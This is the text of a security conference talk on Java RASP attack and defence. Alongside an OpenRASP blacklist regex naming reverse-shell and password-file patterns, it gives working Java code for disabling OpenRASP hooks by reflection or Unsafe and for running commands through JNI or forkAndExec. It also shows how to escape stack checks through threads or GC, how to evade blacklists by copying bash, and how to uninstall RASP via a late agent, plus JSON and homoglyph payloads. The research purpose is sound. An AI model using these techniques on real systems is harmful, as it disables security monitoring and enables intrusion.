RASP攻防下的黑魔法

引言

该篇文章系2022年笔者在Kcon大会上台前准备的内容文字版,考虑到PPT内容有限,不少地方讲的不会很清楚,特意将演讲内容的文字版补档发出。需要PPT的小伙伴请至Kcon官方Github下载即可,PPT地址

认识RASP和RASP攻防

RASP的核心原理

插桩技术简介

Java插桩技术基于Java Instrumentation(该包位于java.lang.instrument,于Java SE5开始引入)实现,使用 Instrumentation,开发者可以构建一个独立于应用程序的Agent,来实现替换和修改某些类的定义。

在Java SE 5时,Instrumentation的实现仅支持在应用启动前添加-javaagent参数的形式实现Agent代理。

1
java -javaagent:/dir/rasp.jar -jar app.jar

Java SE 6时提供了Attach API,实现了运行时JVM程序的字节码修改。 仅仅需要知道需要注入的Java进程的PID,便可以另起一个Java进程去实现运行时加载JavaAgent。

1
2
3
VirtualMachine virtualMachine = VirtualMachine.attach("20556");
virtualMachine.loadAgent("/dir/rasp.jar");
virtualMachine.detach();

常见RASP架构

漏洞,无论是从流量层面上、堆栈层面上、框架层面上,都是极为复杂的,
RASP会通过字节码增强技术将检测代码注入到应用的高危行为函数(如命令执行、文件读写等)之前,在应用执行的执行流抵达高危行为前,对应用将要执行的行为、执行行为时的上下文进行综合分析,从而决定是否在高危行为执行前对该执行流进行阻断。

RASP与传统安全产品的区别

RASP、WAF、主机防护有何不同

WAF 主机防御 RASP
检测方式 流量 主机行为 流量+应用行为
性能 不消化应用本身性能 消耗主机性能,但主机侧只负责收集,分析在云端。 消耗应用性能,拦截相关算法需要在应用测完成收集和分析。
应对0day的方式 基于0day流量,需要优先拿到0day的Poc。 有效防护0day的主机侧恶意行为(如命令执行、文件上传),但缺少流量测信息,只能拦截高危行为,比如一个java web服务调wget下载执行,不能确认是否来自流量侧,不太好下发策略 有效防护0day应用测恶意行为。且能分析处恶意行为的源头是什么(反序列化、表达式注入等)。

RASP的一些痛点

性能消耗:由于RASP的防护逻辑需要消耗应用所在主机性能,这很大程度上决定了RASP无法进行高性能消耗的分析操作。
部署相对麻烦:静态部署需要配置启动参数+重启,虽然JDK6便支持了不重启的Attach API,但attach带来的退优化问题难以解决,因此现阶段主流Java Agent(如APM)都还是主要使用了静态部署的方式安装。

RASP常用防御方式

黑白名单

黑白名单检测算法是RASP检测方式中最为常见,也最为简单的防御算法,即明确规定哪些行为是允许的,哪些是不允许的。

1
2
3
4
5
6
//openrasp命令执行黑名单函数示例
command_common: {
name: '算法3 - 识别常用渗透命令(探针)',
action: 'log',
pattern: 'cat.{1,5}/etc/passwd|nc.{1,30}-e.{1,100}/bin/(?:ba)?sh|bash\\s-.{0,4}i.{1,20}/dev/tcp/|subprocess.call\\(.{0,6}/bin/(?:ba)?sh|fsockopen\\(.{1,50}/bin/(?:ba)?sh|perl.{1,80}socket.{1,120}open.{1,80}exec\\(.{1,5}/bin/(?:ba)?sh'
}

黑白名单算法最大的问题:

1
2
3
1. 白名单的维护需要较大成本。
2. 复杂应用场景,需要维护的黑白名单较为复杂,而过于复杂的黑白名单(可能是具体值、可能是正则)往往会造成较大的性能消耗。
3. 存在一些攻击者和应用都会使用的关键字,导致无法进行处理。
1
2
#以下实例是一个云上每日执行量10W+级别的命令,该命令便使用了攻击者也最喜欢的/bin/sh命令。
/bin/sh -c LC_ALL=C /usr/sbin/lpc status | grep -E '^[ 0-9a-zA-Z_-]*@' | awk -F'@' '{print $1}'>/home/admin/******/temp/prn2338931307557909089xc

语义分析/词法分析

语义分析检测算法多用于SQL注入的检测(也有部分RASP在命令执行处也使用了语义分析),核心思路便是检测用户的输入是否导致了行为数据的结构发生了变化。

义分析存在的问题:

1
2
1. 存在一些语义分析未能兼容的语法、关键字,可能会导致语义分析报错。
2. 针对对参数进行了二次处理的场景,RASP可能无法获取参数,从而导致了语义分析的不可用。

上下文分析

简单版的上下文分析,即在高危行为函数处进行Hook后,会去对当前调用栈的完整链路进行分析,追踪恶意行为的调用链中是否包含一些危险的堆栈(如反序列化gadgets、表达式等),如包含,则进行拦截。稍微复杂点的上下文分析,会对调用链流程中的多处进行Hook,在抵达高危行为函数的Hook处再对调用链的多个Hook处的内容进行统筹分析,决定策略。

上下文分析存在的问题:
获取堆栈信息存在解决不了的性能瓶颈。

常见绕过方式回顾

JNI绕过

由于JNI属于C侧的恶意代码执行,作为Java应用防护的RASP无法获取C侧的具体行为,因此JNI是对抗RASP的一个主流手法。
在有代码执行漏洞的前提下,可以先上传包含恶意C代码的so到服务器(后缀是什么都行),再通过Java的JNI代码去执行该恶意代码。

1
2
3
4
5
6
7
8
public class Glassy {
public static native String exec(String cmd);

static {
System.load("/Users/glassyamadeus/IdeaProjects/JNIDemo/src/main/java/libglassyForMac.so");
}

}

位于 tomcat lib目录下的tomcat-jni.jar,也包含一些可以利用的现成的JNI函数,可以通过代码执行漏洞去调用。

1
2
3
4
Library.initialize(null);
long pool = Pool.create(0);
long proc = Proc.alloc(pool);
Proc.create(proc, "/System/Applications/Calculator.app/Contents/MacOS/Calculator", new String[]{}, new String[]{}, Procattr.create(pool), pool);

基于反射破坏RASP运行时结构

openRASP

1
2
3
4
5
6
Class clazz = Class.forName("com.baidu.openrasp.HookHandler");
Field used = clazz.getDeclaredField("enableHook");
used.setAccessible(true);
Object enableHook = used.get(null);
Method setMethod = AtomicBoolean.class.getDeclaredMethod("set",boolean.class);
setMethod.invoke(enableHook,false);

冰蝎\哥斯拉在RASP对抗上做了什么

早先版本的哥斯拉命令执行堆栈,

早先版本的冰蝎命令执行堆栈,

新版本哥斯拉命令执行堆栈,不再使用老版本固定规则,而使用了随机且具有较高欺骗性的堆栈,

哥斯拉的413个高欺骗性堆栈名字典,生成payload的时候会从中随机选取,

新版本冰蝎在生产恶意类时,class名会随机生成,

高对抗场景下的tricks简介

BootStrap简介

BootStrap下的class具有什么特权

ClassLoader为空,有效隐蔽了很多信息。

比较具有代表性的案例是,现阶段很多内存马检测插件,都需要先获取被检测Class的ClassLoader,只有ClassLoader不为空,再进行该Class是否落盘的检测,如果没落盘,则认为可能是内存马。

可以不基于反射调用很多高危函数。

如何使自定义class的classLoader成为BootStrap

首先需要将进行利用的Class包在一起打成jar。

Instrumentation的API
Instrumentation.appendToBootstrapClassLoaderSearch提供将jar包加入到BootStrap的函数。

现有JDK目录下jar替换,将恶意类打包成charsets.jar(别的也行,最好选取使用频率较低的jar,并且要求这个BootStrap下的jar不是JDK启动时就load的),且需要一个文件上传或覆盖相关的漏洞将$JAVA_HOME/jre/lib/charsets.jar进行覆盖即可。

在jre/classes/ 下上传的恶意class的Classloader均为null。

UnSafe简介

UnSafe能够做什么

基于JNI的命令执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
String cmd = "open /System/Applications/Calculator.app/";

int[] ineEmpty = {-1, -1, -1};
Class clazz = Class.forName("java.lang.UNIXProcess");
Unsafe unsafe = Utils.getUnsafe();
Object obj = unsafe.allocateInstance(clazz);
Field helperpath = clazz.getDeclaredField("helperpath");
helperpath.setAccessible(true);
Object path = helperpath.get(obj);
byte[] prog = "/bin/bash\u0000".getBytes();
String paramCmd = "-c\u0000" + cmd + "\u0000";
byte[] argBlock = paramCmd.getBytes();
int argc = 2;
Method exec = clazz.getDeclaredMethod("forkAndExec", int.class, byte[].class, byte[].class, byte[].class, int.class, byte[].class, int.class, byte[].class, int[].class, boolean.class);
exec.setAccessible(true);
exec.invoke(obj, 2, path, prog, argBlock, argc, null, 0, null, ineEmpty, false);

通过反射,也可以对运行时相关变量进行修改。(相当于破坏RASP运行时结构的另一种手法)

1
2
3
4
5
6
7
8
Class clazz = Class.forName("com.baidu.openrasp.HookHandler");
Unsafe unsafe = getUnsafe();
InputStream inputStream = clazz.getResourceAsStream(clazz.getSimpleName() + ".class");
byte[] data = new byte[inputStream.available()];
inputStream.read(data);
Class anonymousClass = unsafe.defineAnonymousClass(clazz, data, null);
Field field = anonymousClass.getDeclaredField("enableHook");
unsafe.putObject(clazz, unsafe.staticFieldOffset(field), new AtomicBoolean(false));

对生成的恶意类进行隐藏。通过defineAnonymousClass生成的VM Anonymous Class具备如下特征:

  1. class名可以是已存在的class的名字,比如java.lang.File,即使如此也不会发生任何问题,java的动态编译特性将会在内存中生成名如 java.lang.File/13063602@38ed5306的class。 —将会使类名极具欺骗性
  2. 该class的classloader为null。 —在java中classloader为null的为来自BootstrapClassLoader的class,往往会被认定为jdk自带class
  3. 在JVM中存在大量动态编译产生的class(多为lamada表达式生成),这种class均不会落盘,所以不落盘并不会属于异常特征。
  4. 无法通过Class.forName()获取到该class的相关内容。 —严重影响通过反射排查该类安全性的检测工具
  5. 在部分jdk版本中,VM Anonymous Class甚至无法进行restransform。 —这也就意味着我们无法通过attach API去修复这个恶意类
  6. 该class在transform中的className将会是它的模板类名。 —这将会对那些通过attach方式检测内存马的工具造成极大的误导性

    获取UnSafe的手法

    基于反射获取(很多RASP、木马检测已把反射获取UnSafe拉黑),
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    public static Unsafe getUnsafe() {
    Unsafe unsafe = null;

    try {
    Field field = Unsafe.class.getDeclaredField("theUnsafe");
    field.setAccessible(true);
    unsafe = (Unsafe) field.get(null);
    } catch (Exception e) {
    throw new AssertionError(e);
    }
    return unsafe;
    }
    unsafe本身在大量主流框架中都有使用(如gson、netty等),所以完全可以通过反射获取别的框架已经创建好的现成的unsafe变量,甚至直接调用这些框架写好的重新打包的unsafe相关的API 想办法制造BootStrap恶意类,直接通过Unsafe.getUnsafe()来获取UnSafe。

    一些特殊场景下的RASP绕过手法

兼容性差异

大部分RASP不会自写json解析引擎,而会去选择RASP使用的语言的先有json解析框架,以JAVA为例,大部分RASP框架会选用Gson(好用又安全)作为自己的json解析框架,而应用往往选择的json解析框架是不确定的(fastjson、gson、jackson都有可能),那么如果一旦一个应用使用的json解析框架的兼容性大于了RASP使用框架的兼容性,绕过就会存在。

举例说明,fastjson作为一款主流json解析框架,兼容性是比gson高的。其中fastjson支持在不同k-v之间插上任意数量的逗号,而Gson不支持,那么当需要解析参数的相关漏洞(SQL注入、SSRF)存在RASP防御,一下手法就可以绕过RASP的防御。

1
{,,,,"user":"glassy' and '1'='1",,,"content":"test",,}

再举一个例子,fastjson在支持数据的unicode编码的同事,对于\u后面的数字,是支持异性字的,而gson和jackson仅仅支持unicode编码,却并不支持\u后面的数字的异性字,这样的话,可以构造出极具欺骗性的payload,技能欺骗RASP又能欺骗WAF。
通过异形字构造出的json数据如下:

1
2
json数据:{"\u౦᥆༦۳\u꘠០६f\u꯰꧐໖e\u౦꣐꘧᪄\u꯰༠߆५\u૦၀६e\u๐᥆꤇꯴":"\u᮰߀٧൪\u໐୦᱆૮\u꣐០႖߉\u੦᠐௭౩\u၀୦꧒๐\u٠૦೬߉\u᮰୦೭߃\u᱀०٢۰\u೦൦൬୭\u୦൦᧖c\u០૦۶᱁\u᧐႐୭٣\u០᱐᧗౩\u০᱀۷᪙","\u၀꯰꩖e\u႐꘠७꧕\u᥆୦༦d":1}
json反序列化为的Object:{"num":1,"content":"this is glassy"}

突破语义分析

传统意义上的SQL注入绕过,在于寻觅黑名单之外的敏感函数、大量编码、注释引起的混淆等,但是语义分析层面上,由于关注的是语义结构的变化,那么以上手法往往会比较无力。下面的示例中会展示如何突破Druid的语义分析防御。
基于未兼容关键字
mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据。而Druid的最新版本也未兼容handler关键字,那么若遇到使用Druid进行语义分析的RASP,便可以使用Handler关键字破坏语义分析引擎运行。

巧妙利用熔断

处于性能相关的考虑,很多RASP产品存在性能相关防护(一般默认关闭),为了防止RASP对业务性能造成较大影响,当整机CPU到达某个阈值的情况下,RASP往往会自动熔断。

基于此特性,在部署RASP的应用上,可以尝试猛打某一条payload,把机器CPU打到RASP熔断的阈值,便可以成功绕过RASP防御。在拥有代码执行权限的情况下,完全可以刻意构造高性能消耗代码做到一条payload(如复杂正则、循环堆栈获取)即可成功让RASP熔断并执行命令。

还是熟悉的大包绕过

众所周知,WAF的防御经常收到大包绕过的困扰,无独有偶,RASP也会面临同样的问题。但二者在原理上有着本质的区别。
WAF的大包绕过主要由于WAF本身的性能问题。
而RASP的大包问题,则出于内存保护考虑。不过,一般较为成熟的RASP会把自己的最大body读取设置为一个中间件能承受的最大body以上,但是一旦中间件有过特殊配置,或是一些对最大body未做限制的中间件,那么RASP便存在被打包绕过的可能性。

JDK官方提供的JNI HOOK方案绕过

JDK官方提供了setNativeMethodPrefix作为Hook JNI的一种手段。很多插桩类产品,使用该方案解决JNI的埋点问题。

此功能允许指定前缀并进行适当的分辨率。 具体而言,当标准分辨率失败时,考虑前缀重试分辨率。 有两种方法可以解决分辨率,使用JNI功能RegisterNatives显式分辨,以及正常的自动分辨率。 对于RegisterNatives ,JVM将尝试此关联:
method(foo) -> nativeImplementation(foo)
如果失败,将使用前缀为方法名称的指定前缀重试分辨率,从而产生正确的分辨率:

method(wrapped_foo) -> nativeImplementation(foo)

对于自动解析,JVM将尝试:

method(wrapped_foo) -> nativeImplementation(wrapped_foo)

如果失败,将使用从实现名称中删除的指定前缀重试解决方案,从而产生正确的解决方案:

method(wrapped_foo) -> nativeImplementation(foo)

请注意,由于前缀仅在标准分辨率失败时使用,因此可以选择性地包装本机方法。

因此,若RASP使用的是setNativeMethodPrefix的方式去解决jni的HOOK,那攻击者无需再去纠结于调用exec函数,而直接选择调用 glassy_exec函数即可绕过。

黑名单绕过手段

存在部分RASP,仅仅进行黑名单\白名单进行安全防护,这种防护方式非常无脑,但在很多场景下效果都还不错。但我们可以有多种方法使得我们执行的命令不再是黑名单命令。

当应用存在的漏洞是一个代码执行漏洞,而 /bin/bash 命令被拉黑了的时候,我们通过Java的代码可以创造一个新的bash。

1
2
3
4
5
6
//copy方式
Files.copy(Paths.get("/bin/bash"), Paths.get("/tmp/glassy"));
//软连接方式
Files.createSymbolicLink(Paths.get("/tmp/amadeus"), Paths.get("/bin/bash"));
//硬链接方式
Files.createLink(Paths.get("/tmp/amadeus"), Paths.get("/bin/bash"));

接下来就可以使用一个非黑名单的bash文件进行相关操作

1
Runtime.getRuntime().exec("/tmp/glassy -c XXXX");

当然在命令执行的时候,cp\alias\export若不在黑名单里,则可以不依赖Java API也能实现类似效果。

上下文检测逃逸

基于新建线程实现上下文逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.io.IOException;

public class NewThread {
public NewThread() {
}

static{
Thread t = new Thread(new Runnable() {
@Override
public void run() {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app/");
} catch (IOException e) {
e.printStackTrace();
}
}
});
t.start();
}
}

基于线程池实现上下文逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
import java.io.IOException;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;

public class ThreadPool {
public ThreadPool() {
}

static {
try {
ExecutorService newCachedThreadPool = Executors.newCachedThreadPool();
newCachedThreadPool.execute(new Runnable() {
@Override
public void run() {
try {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app/");
} catch (IOException e) {
e.printStackTrace();
}
}
});
} catch (Exception e) {

}
}
}

基于gc实现上下文逃逸

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.lang.ref.WeakReference;

public class TestGc {
public TestGc() {
}

@Override
protected void finalize() throws Throwable {
Runtime.getRuntime().exec("open /System/Applications/Calculator.app/");
super.finalize();
}

static {
TestGc testGc = new TestGc();
WeakReference<TestGc> weakPerson = new WeakReference<TestGc>(testGc);
testGc = null;
System.gc();
}
}

花式卸载RASP

很多Java应用中,存在着多个Java Agent的情况,比如,有一些Java应用既安装了APM、又安装了RASP,Java的Instrument在处理众多的Agent的时候,会根据加载顺序,依次调用对应的Transformer,那么只要能够保证最后一个加载的Agent,那么就拥有被加强Class的字节码的最终决定权。

当取到一个代码执行权限后,完全可以做到新Attach一个Agent(此时这个Agent晚于RASP),再将由RASP增强的Class字节码还原回没有安全防护的字节码。(这里会有高版本JDK禁止attach self问题,但该防护也能通过反射关闭。)
Attach相关代码

1
2
3
4
5
6
7
8
String path = System.getenv("JAVA_HOME") + "/lib/tools.jar";
String pid = java.lang.management.ManagementFactory.getRuntimeMXBean().getName().split("@")[0];
String payload = "uninstall.jar";
ClassLoader classLoader = getCustomClassloader(new String[]{path});
Class virtualMachineClass = classLoader.loadClass("com.sun.tools.attach.VirtualMachine");
Object virtualMachine = invokeStaticMethod(virtualMachineClass, "attach", new Object[]{pid});
invokeMethod(virtualMachine, "loadAgent", new Object[]{payload});
invokeMethod(virtualMachine, "detach", null);

uninstall.jar相关代码(卸载了命令执行、文件操作相关的防护)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
private static final List<String> uninstallClass = Arrays.asList("java.lang.UNIXProcess", "java.io.FileInputStream", "java.io.File", "java.io.FileOutputStream", "java.nio.file.Files");

@Override
public byte[] transform(ClassLoader loader, String className,
Class<?> classBeingRedefined, ProtectionDomain protectionDomain,
byte[] classfileBuffer) throws IllegalClassFormatException {

if (className != null) {
String name = className.replace("/", ".");
if (uninstallClass.contains(name)) {
System.out.println("Got it in retransformClasses !!! " + className);
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.get(name);
byte[] oldByte = ctClass.toBytecode();
if (!Arrays.equals(oldByte, classfileBuffer)) {
System.out.println("Do repair for transform class !!! ClassName: " + className);
return oldByte;
} else {
return null;
}
} catch (Throwable throwable) {
System.out.println("Error in transform !!! ClassName: " + className);
return null;
}
}
}
}

RASP攻防的核心思想总结

未来RASP攻防下的思考-攻击者方向

对于攻击者,一旦能发现RASP未能覆盖的代码执行权限的漏洞,寻找代码执行和RASP覆盖的恶意行为之间的灰色空间,便是突破RASP防护的主要方向。
这个方向又可以拆分成三个重点分支:

  1. 切割堆栈破坏上下文
  2. 破坏RASP运行态
  3. 寻找非RASP语言侧的代码执行

未来RASP攻防下的思考-RASP方向

RASP方向上,为了尽可能的去防止攻击者去寻找这片灰色空间,需要将防护的视角不仅仅放在恶意行为的终点侧,也需要在触发漏洞的源头(如表达式、引擎、反序列化)去做相应的规则,不让攻击者去拿到这个代码执行权限。